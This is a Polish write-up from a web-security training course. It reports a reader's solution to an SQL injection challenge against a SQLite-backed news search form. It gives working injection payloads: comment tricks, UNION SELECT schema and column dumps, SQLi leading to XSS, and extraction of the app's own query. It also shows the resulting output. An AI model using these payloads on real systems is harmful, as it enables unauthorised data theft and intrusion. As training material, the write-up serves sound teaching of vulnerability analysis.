threats.pl > Bezpieczeństwo aplikacji internetowych > Lekcja 25: Wyzwanie V > Raport: Krzysztof Kotowicz (2011-01-30)

Raport błędów, Krzysztof Kotowicz (2011-01-30)

Poza raportem polecam wpis Krzysztofa na jego blogu: How to get SQL query contents from SQL injection flaw. Technika polegająca na wykorzystaniu sql injection w taki sposób, by uzyskać informację o wykonywanym przez bazę zapytaniu jest ciekawa i bardzo pomocna przy badaniu aplikacji, zwłaszcza w przypadku, gdy nie ma możliwości weryfikacji znalezisk lub podejrzeń bezpośrednio w jej kodzie.

Hej!

W końcu znalazłem czas, żeby zająć się bootcampem - jak zwykle sporo zabawy:

*oper* - podatność SQLi nie występuje (biała lista dopuszczalnych wartości -
AND i OR z OR jako domyślną wartością)

Można dołączyć dodatkowe kryteria (nie jest sprawdzany rozmiar tablic name,
operator i value) - są one wtedy jednak łączone z pozostałymi tym samym
operatorem wpisanym w *oper*

*value* - różne traktowanie danych w zależności od pola *name*: [ zob. też
na dole maila ]
 - name=id - rzutowanie na inta lub intval(), brak podatności SQLi
 - name=title : $name (NOT) LIKE '%$value%' - nieescape'owane meta znaki % i
_ (możliwość ataku DoS) + podatność SQLi:

Przykład:

 name[] title  operator[] =  value[] %40'||'5  oper OR  name[] id
operator[] =  value[] 1125363980

zwróci:

Wiadomość: 1125363980
Wiadomość: 1125364051
Wiadomość: 1125364059

... title like '%%40'||5'%' or title = 1125363980 ...

Lub, z ciekawszych:

 operator[] =  value[] 4'/*  oper OR  name[] id  operator[] =  value[]
1125363980  name[] title  value[] */||'05  operator[] =

Wiadomość: 1125364051
Wiadomość: 1125364059

... title like '%4'/*%' or id = 1125363980 or title like '%*/||'05%'...
tłumaczący się na title like '%4'||'05%', środkowy warunek zakomentowany


Idąc dalej - sqlite jest w wersji 3:

405%' AND sqlite_version()||'%' like '3


są pobierane cztery kolumny i w warunkach WHERE używane są dwa nawiasy:

 name[] title  operator[] =  value[] 405%' AND sqlite_version()||'%' like '3
oper AND  name[] id  operator[] =  value[] 1125364051  name[] title
value[] '))
union select null, null, null,null --  operator[] =
Wartości pobierane z bazy nie są escape'owane przy wyświetlaniu:

')) union select '<1>', '<2>', '<3>','<4>' --

<tr><td><a
href='javascript:void(<1>);'><2></a></td><td><3></td><td><4></td></tr>


czyli poprzez SQLi można zrobić XSS.


Nie używając blinda, za to korzystając z sqlite_master dostajemy CREATE
TABLE:

CREATE TABLE news (id INTEGER PRIMARY KEY, timestamp NUMERIC, message TEXT,
public NUMERIC, title TEXT)


co szybko daje nam dostęp do wszystkich kolumn, w tym nie pokazywanej
message:

')) union select message,title,id,null from news --


<tr><td><a href='javascript:void(Treść wiadomości: 1125363980.);'>Wiadomość:
1125363980</a></td><td>1125363980</td><td></td></tr>
<tr><td><a href='javascript:void(Treść wiadomości: 1125363988.);'>Wiadomość:
1125363988</a></td><td>1125363988</td><td></td></tr>
itd.

czyli information disclosure :)

Ale to nie koniec - korzystając z tego, że sqlite wspiera literały też z "
możemy wydobyć część zapytań SQL kierowanych z aplikacji do bazy, przez co
możemy odkryć dokładną zasadę przekształcania formularza w SQL:

 name[]

title

 operator[]

=

 value[]

405%')) union select "

 oper

AND

 name[]

id

 operator[]

=

 value[]

1125364051

 name[]

title

 value[]

", null, null, null --

 operator[]

=


<tr><td><a href='javascript:void(%') AND (id = 1125364051) AND (title LIKE
'%);'></a></td><td></td><td></td></tr>


co pozwala szybko stwierdzić, że:

- jest biała lista na nazwy pól, z defaultem na 'id'
- jeśli polem jest id lub public, operator nie jest w ogóle filtrowany,
tylko obcinany na pierwszej spacji (kolejna podatność SQLi). Wartość jest
rzutowana na inta.
- jeśli polem jest timestamp, mamy:
  date(timestamp, 'unixepoch','localtime')
<operator_tu_niestety_do_pierwszej_spacji> date('<a wartosc tu>')
  co daje kolejną podatność SQLi
- jeśli polem jest title, operator = jest tłumaczony na LIKE, każdy inny na
NOT LIKE
  title NOT LIKE '%<a wartosc tu>%'

Podsumowując: SQLi dziura na dziurze, zreversowane zapytanie SQLowe + XSS +
naciągane information disclosure.